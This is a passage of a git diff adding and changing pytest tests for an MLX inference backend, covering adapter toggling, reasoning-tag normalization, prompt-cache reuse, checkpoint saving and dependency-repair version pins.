     def _stream_generate(_model, _tokenizer, **_kw):
+        assert adapter_active["value"]
+        if stream_state["fail"]:
+            raise RuntimeError("generation failed")
         yield _Resp(1)
 
     mlx_lm_pkg.stream_generate = _stream_generate
@@ -237,19 +705,630 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
     backend._tokenizer = _Tok()
     backend._is_vlm = False
 
-    out = list(
+    generator = backend.generate_with_adapter_control(
+        use_adapter = False,
+        messages = [{"role": "user", "content": "ping"}],
+        tools = [{"function": {"name": "web_search"}}],
+        enable_thinking = True,
+        reasoning_effort = "medium",
+        preserve_thinking = True,
+        max_new_tokens = 1,
+    )
+    assert next(generator) == "hi"
+    assert adapter_active["value"] and backend._generation_lock.locked()
+    generator.close()
+    assert adapter_events == [("enter", False), ("exit", False)]
+    stream_state["fail"] = True
+    with pytest.raises(RuntimeError, match = "generation failed"):
+        list(
+            backend.generate_with_adapter_control(
+                use_adapter = False,
+                messages = [{"role": "user", "content": "ping"}],
+                max_new_tokens = 1,
+            )
+        )
+    assert adapter_events[-2:] == [("enter", False), ("exit", False)]
+    assert not backend._generation_lock.locked()
+
+    monkeypatch.setattr(mlx_inference, "_temporary_mlx_adapter_state", real_adapter_state)
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.detect_think_prefill",
+        lambda *_args, **_kwargs: "<think>",
+    )
+    stream_state["fail"] = False
+    named = backend.generate_with_adapter_control(
+        use_adapter = "named",
+        messages = [{"role": "user", "content": "ping"}],
+        max_new_tokens = 1,
+    )
+    with pytest.raises(NotImplementedError, match = "named adapter"):
+        next(named)
+    assert not adapter_active["value"] and not backend._generation_lock.locked()
+    # The toggled kwargs must reach the chat-template helper on the real render
+    # (one of the calls carries the tools; the fallback probe passes tools=None).
+    tool_renders = [
+        c
+        for c in captured_calls
+        if c["kwargs"].get("tools") == [{"function": {"name": "web_search"}}]
+    ]
+    assert tool_renders, captured_calls
+    render = tool_renders[0]
+    assert render["kwargs"]["enable_thinking"] is True
+    assert render["kwargs"]["reasoning_effort"] == "medium"
+    assert render["kwargs"]["preserve_thinking"] is True
+
+
+def test_mlx_text_normalizes_native_reasoning_and_close_releases_lock(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        lambda *_args, **_kwargs: "prompt",
+        raising = True,
+    )
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.render_with_native_template_fallback",
+        lambda formatted_prompt, **_kwargs: SimpleNamespace(
+            prompt = formatted_prompt,
+            reasoning_channel_markers = ("<|channel>thought\n", "<channel|>"),
+        ),
+        raising = True,
+    )
+
+    mlx_lm_pkg = types.ModuleType("mlx_lm")
+    mlx_lm_sample = types.ModuleType("mlx_lm.sample_utils")
+    mlx_lm_sample.make_sampler = lambda **_kw: object()
+    mlx_lm_sample.make_logits_processors = lambda **_kw: None
+
+    class _Resp:
+        def __init__(self, text, tok):
+            self.text = text
+            self.token = tok
+
+    def _stream_generate(_model, _tokenizer, **_kw):
+        yield _Resp("<|channel>thought\n", 10)
+        yield _Resp("r", 11)
+        yield _Resp("<channel|>", 12)
+        yield _Resp("a", 13)
+
+    mlx_lm_pkg.stream_generate = _stream_generate
+    monkeypatch.setitem(sys.modules, "mlx_lm", mlx_lm_pkg)
+    monkeypatch.setitem(sys.modules, "mlx_lm.sample_utils", mlx_lm_sample)
+
+    backend = MLXInferenceBackend()
+    backend._model = object()
+    backend._tokenizer = SimpleNamespace(all_special_tokens = [])
+    backend._is_vlm = False
+
+    assert list(
         backend.generate_chat_response(
             messages = [{"role": "user", "content": "ping"}],
-            tools = [{"function": {"name": "web_search"}}],
-            enable_thinking = True,
-            reasoning_effort = "medium",
-            preserve_thinking = True,
-            max_new_tokens = 1,
+            max_new_tokens = 4,
+        )
+    ) == ["<think>", "<think>r", "<think>r</think>", "<think>r</think>a"]
+
+    gen = backend.generate_chat_response(
+        messages = [{"role": "user", "content": "ping"}],
+        max_new_tokens = 4,
+    )
+    assert next(gen) == "<think>"
+    assert backend._generation_lock.locked()
+    gen.close()
+    assert not backend._generation_lock.locked()
+
+
+def test_mlx_text_native_metadata_preserves_prefilled_think_snapshots(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        lambda *_args, **_kwargs: "prompt<think>\n",
+        raising = True,
+    )
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.render_with_native_template_fallback",
+        lambda formatted_prompt, **_kwargs: SimpleNamespace(
+            prompt = formatted_prompt,
+            reasoning_channel_markers = ("<|channel>thought", "<channel|>"),
+        ),
+        raising = True,
+    )
+
+    mlx_lm_pkg = types.ModuleType("mlx_lm")
+    mlx_lm_sample = types.ModuleType("mlx_lm.sample_utils")
+    mlx_lm_sample.make_sampler = lambda **_kw: object()
+    mlx_lm_sample.make_logits_processors = lambda **_kw: None
+
+    class _Resp:
+        def __init__(self, text, tok):
+            self.text = text
+            self.token = tok
+
+    def _stream_generate(_model, _tokenizer, **_kw):
+        yield _Resp("reason", 10)
+        yield _Resp("</think>", 11)
+        yield _Resp("answer", 12)
+
+    mlx_lm_pkg.stream_generate = _stream_generate
+    monkeypatch.setitem(sys.modules, "mlx_lm", mlx_lm_pkg)
+    monkeypatch.setitem(sys.modules, "mlx_lm.sample_utils", mlx_lm_sample)
+
+    backend = MLXInferenceBackend()
+    backend._model = object()
+    backend._tokenizer = SimpleNamespace(all_special_tokens = [])
+    backend._is_vlm = False
+
+    snapshots = list(
+        backend.generate_chat_response(
+            messages = [{"role": "user", "content": "ping"}],
+            max_new_tokens = 3,
         )
     )
-    assert out == ["hi"]
-    # The toggled kwargs must reach the chat-template helper.
-    assert captured["kwargs"]["tools"] == [{"function": {"name": "web_search"}}]
-    assert captured["kwargs"]["enable_thinking"] is True
-    assert captured["kwargs"]["reasoning_effort"] == "medium"
-    assert captured["kwargs"]["preserve_thinking"] is True
+    assert snapshots == [
+        "<think>\n",
+        "<think>\nreason",
+        "<think>\nreason</think>",
+        "<think>\nreason</think>answer",
+    ]
+    assert all(current.startswith(previous) for previous, current in zip(snapshots, snapshots[1:]))
+
+
+def test_mlx_vlm_normalizes_native_reasoning_channels(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        lambda *_args, **_kwargs: "prompt",
+        raising = True,
+    )
+
+    mlx_vlm_pkg = types.ModuleType("mlx_vlm")
+
+    class _Resp:
+        def __init__(self, text, tok):
+            self.text = text
+            self.token = tok
+
+    def _stream_generate(_model, _processor, _prompt, _images, **_kw):
+        yield _Resp("<|channel>thought\n", 10)
+        yield _Resp("vision", 11)
+        yield _Resp("<channel|>", 12)
+        yield _Resp(" answer", 13)
+
+    mlx_vlm_pkg.stream_generate = _stream_generate
+    monkeypatch.setitem(sys.modules, "mlx_vlm", mlx_vlm_pkg)
+
+    backend = MLXInferenceBackend()
+    backend._model = SimpleNamespace(config = SimpleNamespace())
+    backend._processor = SimpleNamespace(
+        chat_template = "<|channel>thought\n...<channel|>",
+        all_special_tokens = [],
+        apply_chat_template = lambda *_args, **_kwargs: "prompt",
+    )
+    backend._is_vlm = True
+
+    assert list(
+        backend.generate_chat_response(
+            messages = [{"role": "user", "content": "describe"}],
+            image = object(),
+            max_new_tokens = 4,
+        )
+    ) == [
+        "<think>",
+        "<think>vision",
+        "<think>vision</think>",
+        "<think>vision</think> answer",
+    ]
+
+
+class _FakeLRUPromptCache:
+    def __init__(
+        self,
+        max_size = 10,
+        max_bytes = 1 << 63,
+    ):
+        self.max_size = max_size
+        self.max_bytes = max_bytes
+        self.entries = {}
+
+    def fetch_nearest_cache(self, key, tokens):
+        import copy
+
+        stored = self.entries.get(key, {})
+        exact = stored.get(tuple(tokens))
+        if exact is not None:
+            return copy.deepcopy(exact), []
+        best = None
+        for candidate, cache in stored.items():
+            if len(candidate) < len(tokens) and tuple(tokens[: len(candidate)]) == candidate:
+                if best is None or len(candidate) > len(best[0]):
+                    best = (candidate, cache)
+        if best is not None:
+            return copy.deepcopy(best[1]), list(tokens[len(best[0]) :])
+        return None, list(tokens)
+
+    def insert_cache(
+        self,
+        key,
+        tokens,
+        prompt_cache,
+        *,
+        cache_type = "assistant",
+    ):
+        import copy
+        self.entries.setdefault(key, {})[tuple(tokens)] = copy.deepcopy(prompt_cache)
+
+
+class _FakeCacheEntry:
+    def __init__(
+        self,
+        offset = 0,
+        nbytes = 1,
+    ):
+        self.offset = offset
+        self.nbytes = nbytes
+
+
+def _install_fake_prompt_cache_api(monkeypatch, trimmable = True):
+    from core.inference import mlx_inference
+
+    def _make_prompt_cache(_model):
+        return [_FakeCacheEntry()]
+
+    def _can_trim_prompt_cache(_cache):
+        return trimmable
+
+    def _trim_prompt_cache(cache, num):
+        cache[0].offset = max(cache[0].offset - num, 0)
+        return num
+
+    monkeypatch.setattr(
+        mlx_inference,
+        "_mlx_prompt_cache_api",
+        lambda: (
+            _FakeLRUPromptCache,
+            _make_prompt_cache,
+            _can_trim_prompt_cache,
+            _trim_prompt_cache,
+        ),
+    )
+
+
+def test_mlx_prompt_cache_max_bytes_budget(monkeypatch):
+    from core.inference.mlx_inference import (
+        PROMPT_CACHE_FALLBACK_BYTES,
+        PROMPT_CACHE_MEMORY_FRACTION,
+        _prompt_cache_max_bytes,
+    )
+
+    monkeypatch.delenv("UNSLOTH_MLX_PROMPT_CACHE_BYTES", raising = False)
+    assert _prompt_cache_max_bytes(None) == PROMPT_CACHE_FALLBACK_BYTES
+    assert _prompt_cache_max_bytes(20.0) == int(20.0 * 1e9 * PROMPT_CACHE_MEMORY_FRACTION)
+
+    monkeypatch.setenv("UNSLOTH_MLX_PROMPT_CACHE_BYTES", "4096")
+    assert _prompt_cache_max_bytes(20.0) == 4096
+    monkeypatch.setenv("UNSLOTH_MLX_PROMPT_CACHE_BYTES", "0")
+    assert _prompt_cache_max_bytes(20.0) == 0
+    monkeypatch.setenv("UNSLOTH_MLX_PROMPT_CACHE_BYTES", "not-a-number")
+    assert _prompt_cache_max_bytes(20.0) == int(20.0 * 1e9 * PROMPT_CACHE_MEMORY_FRACTION)
+
+
+def test_mlx_prompt_cache_never_returns_empty_remainder(monkeypatch):
+    _install_fake_prompt_cache_api(monkeypatch)
+    from core.inference.mlx_inference import _MLXPromptCacheHistory
+
+    history = _MLXPromptCacheHistory(6, 1 << 30)
+    tokens = list(range(10))
+    cache, rest = history.fetch(object(), "key", tokens)
+    assert len(rest) == 10
+    cache[0].offset = len(tokens)
+    history.insert("key", tokens, cache)
+
+    _cache, rest = history.fetch(object(), "key", tokens)
+    assert rest == tokens[-1:]
+
+    longer = tokens + [99, 100]
+    _cache, rest = history.fetch(object(), "key", longer)
+    assert rest == [99, 100]
+
+    _install_fake_prompt_cache_api(monkeypatch, trimmable = False)
+    history = _MLXPromptCacheHistory(6, 1 << 30)
+    cache, _rest = history.fetch(object(), "key", tokens)
+    cache[0].offset = len(tokens)
+    history.insert("key", tokens, cache)
+    _cache, rest = history.fetch(object(), "key", tokens)
+    assert rest == tokens, "untrimmable entry must not be reused"
+
+
+def test_mlx_prompt_cache_key_isolates_adapter_state(monkeypatch):
+    _install_fake_prompt_cache_api(monkeypatch)
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    class _Tok:
+        bos_token = None
+
+        def encode(
+            self,
+            text,
+            add_special_tokens = True,
+        ):
+            return [ord(c) for c in text]
+
+    backend = MLXInferenceBackend()
+    backend._model = object()
+    backend._tokenizer = _Tok()
+    backend.active_model_name = "model-a"
+
+    prompt = "shared prefix"
+    _rest, cache, key, tokens, cached = backend._prepare_prompt_cache(prompt, True)
+    assert cached == 0
+    cache[0].offset = len(tokens)
+    backend._prompt_cache_history.insert(key, tokens, cache)
+
+    _rest, _cache, _key, _tokens, cached_same = backend._prepare_prompt_cache(prompt, True)
+    assert cached_same > 0
+    _rest, _cache, _key, _tokens, cached_flipped = backend._prepare_prompt_cache(prompt, False)
+    assert cached_flipped == 0
+
+
+def _install_fake_text_stack(
+    monkeypatch,
+    token_map,
+    captured,
+    markers = None,
+):
+    import types as _types
+
+    from core.inference import mlx_inference
+
+    _install_fake_mlx(monkeypatch)
+    monkeypatch.setattr(
+        mlx_inference,
+        "_temporary_mlx_adapter_state",
+        lambda _model, _state: __import__("contextlib").nullcontext(),
+    )
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        lambda _tok, messages, **_kw: messages[-1]["content"],
+    )
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.render_with_native_template_fallback",
+        lambda formatted_prompt, **_kw: SimpleNamespace(
+            prompt = formatted_prompt,
+            reasoning_channel_markers = markers,
+        ),
+    )
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.detect_think_prefill",
+        lambda *_a, **_kw: "",
+    )
+
+    class _Resp:
+        def __init__(self, token, processed):
+            self.token = token
+            self.text = f"<{token}>"
+            self.prompt_tokens = processed
+            self.prompt_tps = 10.0
+            self.generation_tokens = 1
+            self.generation_tps = 5.0
+
+    def _stream_generate(_model, _tokenizer, **kwargs):
+        captured.append(kwargs)
+        processed = len(kwargs["prompt"])
+        cache = kwargs.get("prompt_cache")
+        if cache is not None:
+            cache[0].offset += processed
+        for token in token_map["generated"]:
+            if cache is not None:
+                cache[0].offset += 1
+            yield _Resp(token, processed)
+
+    mlx_lm_pkg = _types.ModuleType("mlx_lm")
+    mlx_lm_pkg.stream_generate = _stream_generate
+    mlx_lm_sample = _types.ModuleType("mlx_lm.sample_utils")
+    mlx_lm_sample.make_sampler = lambda **_kw: object()
+    mlx_lm_sample.make_logits_processors = lambda **_kw: []
+    monkeypatch.setitem(sys.modules, "mlx_lm", mlx_lm_pkg)
+    monkeypatch.setitem(sys.modules, "mlx_lm.sample_utils", mlx_lm_sample)
+
+    class _Tok:
+        bos_token = None
+        chat_template = "x"
+
+        def encode(
+            self,
+            text,
+            add_special_tokens = True,
+        ):
+            return list(token_map[text])
+
+        def decode(
+            self,
+            ids,
+            skip_special_tokens = False,
+        ):
+            return "".join(str(i) for i in ids)
+
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    backend = MLXInferenceBackend()
+    backend._model = object()
+    backend._tokenizer = _Tok()
+    backend._is_vlm = False
+    backend.active_model_name = "model-a"
+    return backend
+
+
+def _run_turn(backend, prompt):
+    list(
+        backend.generate_chat_response(
+            messages = [{"role": "user", "content": prompt}],
+            max_new_tokens = 4,
+        )
+    )
+
+
+def test_mlx_text_reuses_prompt_cache_on_the_next_turn(monkeypatch):
+    _install_fake_prompt_cache_api(monkeypatch)
+    captured = []
+    token_map = {
+        "P1": [1, 2, 3],
+        "P2": [1, 2, 3, 7, 8, 9, 10],
+        "generated": [7, 8],
+    }
+    backend = _install_fake_text_stack(monkeypatch, token_map, captured)
+
+    _run_turn(backend, "P1")
+    assert captured[0]["prompt"] == [1, 2, 3]
+    assert "prompt_cache" in captured[0]
+    assert backend.last_generation_stats["timings"]["cache_n"] == 0
+
+    _run_turn(backend, "P2")
+    assert captured[1]["prompt"] == [9, 10], "turn two should prefill only the new tail"
+
+    stats = backend.last_generation_stats
+    assert stats["timings"]["cache_n"] == 5
+    assert stats["timings"]["prompt_n"] == 2
+    assert stats["usage"]["prompt_tokens"] == 7
+
+
+def test_mlx_text_without_lru_prompt_cache_prefills_the_full_prompt(monkeypatch):
+    from core.inference import mlx_inference
+
+    monkeypatch.setattr(mlx_inference, "_mlx_prompt_cache_api", lambda: None)
+    captured = []
+    token_map = {"P1": [1, 2, 3], "generated": [7]}
+    backend = _install_fake_text_stack(monkeypatch, token_map, captured)
+
+    _run_turn(backend, "P1")
+    assert captured[0]["prompt"] == "P1"
+    assert "prompt_cache" not in captured[0]
+    assert backend.last_generation_stats["timings"]["cache_n"] == 0
+
+
+def test_mlx_text_tracks_tokens_on_the_native_reasoning_path(monkeypatch):
+    _install_fake_prompt_cache_api(monkeypatch)
+    captured = []
+    token_map = {"P1": [1, 2, 3], "P2": [1, 2, 3, 7, 8, 9], "generated": [7, 8]}
+    backend = _install_fake_text_stack(monkeypatch, token_map, captured, markers = ("<a>", "</a>"))
+
+    _run_turn(backend, "P1")
+    _run_turn(backend, "P2")
+    assert captured[1]["prompt"] == [9]
+
+
+def test_mlx_presence_penalty_latches_the_first_decode_step():
+    mx = pytest.importorskip("mlx.core")
+    import numpy as np
+
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    processor = _make_mlx_presence_penalty_processor(2.0)
+    logits = mx.zeros((1, 5))
+    out = processor(mx.array([3]), logits)
+    assert np.array_equal(np.array(out), np.zeros((1, 5))), "prompt must not be penalized"
+    out = processor(mx.array([3, 1]), mx.zeros((1, 5)))
+    penalized = np.array(out)[0]
+    assert penalized[1] == -2.0
+    assert penalized[3] == 0.0
+
+
+def test_mlx_prompt_cache_survives_reset_but_not_unload(monkeypatch):
+    _install_fake_prompt_cache_api(monkeypatch)
+    _install_fake_mlx(monkeypatch)
+    sys.modules["mlx.core"].clear_cache = lambda: None
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    backend = MLXInferenceBackend()
+    backend.active_model_name = "model-a"
+    history = backend._prompt_cache()
+    assert history is not None
+
+    backend.reset_generation_state()
+    assert backend._prompt_cache_history is history
+
+    backend.unload_model("model-a")
+    assert backend._prompt_cache_history is None
+
+
+def test_mlx_prompt_cache_skips_entries_over_budget(monkeypatch):
+    _install_fake_prompt_cache_api(monkeypatch)
+    from core.inference.mlx_inference import _MLXPromptCacheHistory
+
+    history = _MLXPromptCacheHistory(6, 1000)
+    history.insert("key", [1, 2, 3], [_FakeCacheEntry(offset = 3, nbytes = 400)])
+    assert len(history._lru.entries.get("key", {})) == 1
+
+    history.insert("key", list(range(50)), [_FakeCacheEntry(offset = 50, nbytes = 5000)])
+    stored = history._lru.entries.get("key", {})
+    assert tuple([1, 2, 3]) in stored
+    assert tuple(range(50)) not in stored
+
+
+def test_mlx_prompt_cache_keys_on_what_the_kv_covers(monkeypatch):
+    _install_fake_prompt_cache_api(monkeypatch)
+    from core.inference.mlx_inference import _MLXPromptCacheHistory
+
+    class _Entry:
+        def __init__(
+            self,
+            offset,
+            nbytes = 1,
+        ):
+            self.offset = offset
+            self.nbytes = nbytes
+
+    history = _MLXPromptCacheHistory(6, 1 << 30)
+
+    history.insert("key", list(range(10)), [_Entry(offset = 8)])
+    assert tuple(range(8)) in history._lru.entries["key"]
+    assert tuple(range(10)) not in history._lru.entries["key"]
+
+    history.insert("other", list(range(4)), [_Entry(offset = 9)])
+    assert "other" not in history._lru.entries
+
+
+def test_mlx_prompt_cache_only_stores_verifiable_prefix_coverage(monkeypatch):
+    mx = pytest.importorskip("mlx.core")
+    from mlx_lm.models.cache import CacheList, ChunkedKVCache, KVCache, RotatingKVCache
+
+    _install_fake_prompt_cache_api(monkeypatch)
+    from core.inference.mlx_inference import _kv_prefix_coverage, _MLXPromptCacheHistory
+
+    def feed(entry, n):
+        for _ in range(n):
+            block = mx.zeros((1, 2, 1, 4), dtype = mx.float16)
+            entry.update_and_fetch(block, block)
+        mx.eval(entry.state)
+        return entry
+
+    plain = feed(KVCache(), 30)
+    unwrapped = feed(RotatingKVCache(max_size = 100, keep = 2), 30)
+    wrapped = feed(RotatingKVCache(max_size = 10, keep = 2), 30)
+    chunked = feed(ChunkedKVCache(chunk_size = 8), 30)
+    slid = feed(ChunkedKVCache(chunk_size = 8), 30)
+    slid.maybe_trim_front()
+
+    assert _kv_prefix_coverage([plain]) == 30
+    assert _kv_prefix_coverage([unwrapped]) == 30
+    assert _kv_prefix_coverage([chunked]) == 30
+    assert wrapped.offset == 30 and wrapped.state[0].shape[2] == 10
+    assert _kv_prefix_coverage([wrapped]) is None
+    assert slid.start_position > 0
+    assert _kv_prefix_coverage([slid]) is None
+    assert _kv_prefix_coverage([CacheList(feed(KVCache(), 30), feed(KVCache(), 30))]) == 30
+    assert _kv_prefix_coverage([CacheList(feed(KVCache(), 30), wrapped)]) is None
+    assert _kv_prefix_coverage([feed(KVCache(), 30), feed(KVCache(), 29)]) is None
+    assert _kv_prefix_coverage([]) is None
+
+    history = _MLXPromptCacheHistory(6, 1 << 40)
+    for unsafe in (wrapped, slid):
+        history.insert("key", list(range(30)), [unsafe])
+    assert "key" not in history._lru.entries
+
+    history.insert("key", list(range(30)), [plain])
+    assert tuple(range(30)) in history._lru.entries["key"]
diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py
index 1b0cbf9df1..47a695ccbd 100644
--- a/studio/backend/tests/test_mlx_repair.py
+++ b/studio/backend/tests/test_mlx_repair.py
@@ -103,7 +103,7 @@ def test_repair_install_pins_transformers_and_cleans_up(monkeypatch):
     assert mr.attempt_mlx_repair() is True
     cmd = captured["cmd"]
     # transformers is pinned via a constraint file so the mlx install cannot
-    # upgrade it underneath Studio, and the temp constraint file is cleaned up.
+    # upgrade it underneath Unsloth, and the temp constraint file is cleaned up.
     assert "--constraint" in cmd
     assert "--upgrade" in cmd
     reinstall_pairs = set(zip(cmd, cmd[1:]))
@@ -123,7 +123,7 @@ def test_install_requires_prebuilt_wheels(monkeypatch):
     # A source distribution's PEP 517 build backend runs arbitrary code at install
     # time, before the post-install stack check. The unattended self-heal must
     # require pre-built wheels so a malicious resolver-selected sdist cannot execute
-    # during ordinary Studio startup. mlx/mlx-metal ship wheels only and
+    # during ordinary Unsloth startup. mlx/mlx-metal ship wheels only and
     # mlx-lm/mlx-vlm publish py3-none-any wheels, so a healthy self-heal still works.
     pytest.importorskip("transformers")
     captured = {}
@@ -143,7 +143,7 @@ def test_install_requires_prebuilt_wheels(monkeypatch):
 
 
 def test_install_env_drops_secrets_and_source_redirects(monkeypatch):
-    # The unattended self-heal must not hand resolver/build code the full Studio
+    # The unattended self-heal must not hand resolver/build code the full Unsloth
     # environment: secrets and package-source redirects are dropped, while the
     # variables uv genuinely needs are forwarded.
     monkeypatch.setenv("HF_TOKEN", "secret-hf")
@@ -271,6 +271,29 @@ def test_stack_available_requires_runtime_imports_and_versions(monkeypatch):
     assert imported == list(mr._MLX_RUNTIME_IMPORTS)
 
 
+def test_mlx_packages_exclude_known_bad_mlx_lm():
+    # mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5); the install spec
+    # must exclude it so the resolver picks 0.31.2 or >=0.31.4. See mlx-lm #1242.
+    (mlx_lm_spec,) = [p for p in mr.MLX_PACKAGES if p.startswith("mlx-lm")]
+    assert mlx_lm_spec == "mlx-lm>=0.22.0,!=0.31.3"
+
+
+@pytest.mark.parametrize("bad_form", ["0.31.3", "0.31.3.0"])
+def test_known_bad_installed_mlx_lm_triggers_repair(monkeypatch, bad_form):
+    # An installed 0.31.3 counts as unsatisfied so the self-heal replaces it;
+    # parsed-Version compare also catches the trailing-zero form 0.31.3.0.
+    import importlib.metadata as metadata
+
+    def _version(name):
+        return bad_form if name == "mlx-lm" else mr._MLX_MIN_VERSIONS[name]
+
+    monkeypatch.setattr(metadata, "version", _version)
+    monkeypatch.setattr(
+        mr.importlib, "import_module", lambda _n: pytest.fail("versions must gate imports")
+    )
+    assert mr.mlx_stack_available() is False
+
+
 def test_no_op_off_apple_silicon(monkeypatch):
     monkeypatch.setattr(mr, "is_apple_silicon", lambda: False)
     called = {"n": 0}
diff --git a/studio/backend/tests/test_mlx_stop_checkpoint.py b/studio/backend/tests/test_mlx_stop_checkpoint.py
new file mode 100644
index 0000000000..d4a00cc6c8
--- /dev/null
+++ b/studio/backend/tests/test_mlx_stop_checkpoint.py
@@ -0,0 +1,137 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for MLX stop-and-save checkpoint handling."""
+
+import importlib.util
+import json
+import sys
+import types
+from pathlib import Path
+
+import numpy as np
+from safetensors.numpy import save_file
+
+
+_BACKEND = Path(__file__).resolve().parents[1]
+
+
+def _load_worker_module():
+    spec = importlib.util.spec_from_file_location(
+        "training_worker_under_test",
+        _BACKEND / "core" / "training" / "worker.py",
+    )
+    module = importlib.util.module_from_spec(spec)
+    assert spec.loader is not None
+    spec.loader.exec_module(module)
+    return module
+
+
+worker = _load_worker_module()
+
+
+class _FakeTrainer:
+    def __init__(self, step: int):
+        self._global_step = step
+        self._train_loss_history = []
+        self.model = object()
+
+
+def _write_checkpoint(out: Path, step: int) -> Path:
+    checkpoint = out / f"checkpoint-{step}"
+    checkpoint.mkdir(parents = True, exist_ok = True)
+    (checkpoint / "trainer_state.json").write_text(
+        json.dumps({"global_step": step}), encoding = "utf-8"
+    )
+    save_file({"weight": np.ones(1, dtype = np.float32)}, checkpoint / "adapters.safetensors")
+    save_file(
+        {"state": np.ones(1, dtype = np.float32)},
+        checkpoint / "optimizer_state.safetensors",
+    )
+    return checkpoint
+
+
+def test_mlx_has_checkpoint_at_step_requires_complete_state(tmp_path):
+    out = tmp_path / "outputs" / "run_x"
+    _write_checkpoint(out, 5)
+
+    assert worker._mlx_has_checkpoint_at_step(out, 5) is True
+
+
+def test_write_mlx_stop_checkpoint_returns_true_when_current_step_checkpoint_exists(tmp_path):
+    out = tmp_path / "outputs" / "run_x"
+    _write_checkpoint(out, 5)
+
+    assert worker._write_mlx_stop_checkpoint(_FakeTrainer(step = 5), object(), out) is True
+
+
+def test_write_mlx_stop_checkpoint_writes_current_step_when_only_older_checkpoint_exists(
+    tmp_path, monkeypatch
+):
+    out = tmp_path / "outputs" / "run_x"
+    _write_checkpoint(out, 5)
+
+    saved_steps: list[int] = []
+
+    def _save_state(_value, path, name):
+        save_file({"state": np.ones(1, dtype = np.float32)}, Path(path, name))
+
+    def _save_trainer_state(state, ckpt_dir, **_kwargs):
+        Path(ckpt_dir, "trainer_state.json").write_text(json.dumps(state), encoding = "utf-8")
+        saved_steps.append(int(state["global_step"]))
+
+    fake_utils = types.SimpleNamespace(
+        save_trainable_adapters = lambda model, path: _save_state(
+            model, path, "adapters.safetensors"
+        ),
+        save_optimizer_state = lambda optimizer, path: _save_state(
+            optimizer, path, "optimizer_state.safetensors"
+        ),
+        save_trainer_state = _save_trainer_state,
+    )
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.mlx.utils", fake_utils)
+
+    assert worker._write_mlx_stop_checkpoint(_FakeTrainer(step = 10), object(), out) is True
+    assert saved_steps == [10]
+    assert (out / "checkpoint-10" / "trainer_state.json").is_file()
+
+
+def test_write_mlx_stop_checkpoint_returns_false_without_optimizer(tmp_path):
+    out = tmp_path / "outputs" / "run_x"
+    out.mkdir(parents = True)
+
+    assert worker._write_mlx_stop_checkpoint(_FakeTrainer(step = 5), None, out) is False
+
+
+def test_write_mlx_stop_checkpoint_rejects_incomplete_current_checkpoint(tmp_path):
+    out = tmp_path / "outputs" / "run_x"
+    ckpt = out / "checkpoint-5"
+    ckpt.mkdir(parents = True)
+    (ckpt / "trainer_state.json").write_text('{"global_step": 5}', encoding = "utf-8")
+
+    assert worker._write_mlx_stop_checkpoint(_FakeTrainer(step = 5), None, out) is False
+
+
+def test_write_mlx_stop_checkpoint_ignores_stale_checkpoint_without_optimizer(tmp_path):
+    # An older checkpoint does not cover the current step, so this still fails.
+    out = tmp_path / "outputs" / "run_x"
+    _write_checkpoint(out, 5)
+
+    assert worker._write_mlx_stop_checkpoint(_FakeTrainer(step = 10), None, out) is False
+
+
+def test_write_mlx_stop_checkpoint_returns_false_when_save_fails(tmp_path, monkeypatch):
+    out = tmp_path / "outputs" / "run_x"
+    out.mkdir(parents = True)
+
+    def _boom(*_args, **_kwargs):
+        raise RuntimeError("save failed")
+
+    fake_utils = types.SimpleNamespace(
+        save_trainable_adapters = _boom,
+        save_optimizer_state = lambda *_a, **_k: None,
+        save_trainer_state = lambda *_a, **_k: None,
+    )
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.mlx.utils", fake_utils)
+
+    assert worker._write_mlx_stop_checkpoint(_FakeTrainer(step = 5), object(), out) is False
diff --git a/studio/backend/tests/test_model_picker_regression.py b/studio/backend/tests/test_model_picker_regression.py
new file mode 100644
index 0000000000..f38a4d0b8d
--- /dev/null
+++ b/studio/backend/tests/test_model_picker_regression.py
@@ -0,0 +1,232 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression guards for the model-picker per-model-config feature (the set of
+bugs that got the predecessor PR reverted). Pure-function / validation checks
+only, so they run on CPU in the backend pytest job with no model download.
+
+Covers, at the backend layer:
+  - infra-model hiding: the RAG embedder (bge-small-en-v1.5) and the llama.cpp
+    install-validation probe (ggml-org/models / stories260K) stay hidden, while
+    normal chat repos are not hidden;
+  - the HF token is honored from the dedicated header with the query string as a
+    fallback, never the other way around;
+  - the chat-template byte caps reject oversized overrides (both the char-count
+    fast path and the UTF-8 byte path) and the sidecar reader is size-bounded.
+"""
+
+from __future__ import annotations
+
+import sys
+import types
+
+import pytest
+
+# Keep this test runnable without the optional structlog dependency (mirrors
+# tests/test_cached_gguf_routes.py), since importing routes.models pulls it in.
+if "structlog" not in sys.modules:
+
+    class _DummyLogger:
+        def __getattr__(self, _name):
+            return lambda *args, **kwargs: None
+
+    sys.modules["structlog"] = types.SimpleNamespace(
+        BoundLogger = _DummyLogger,
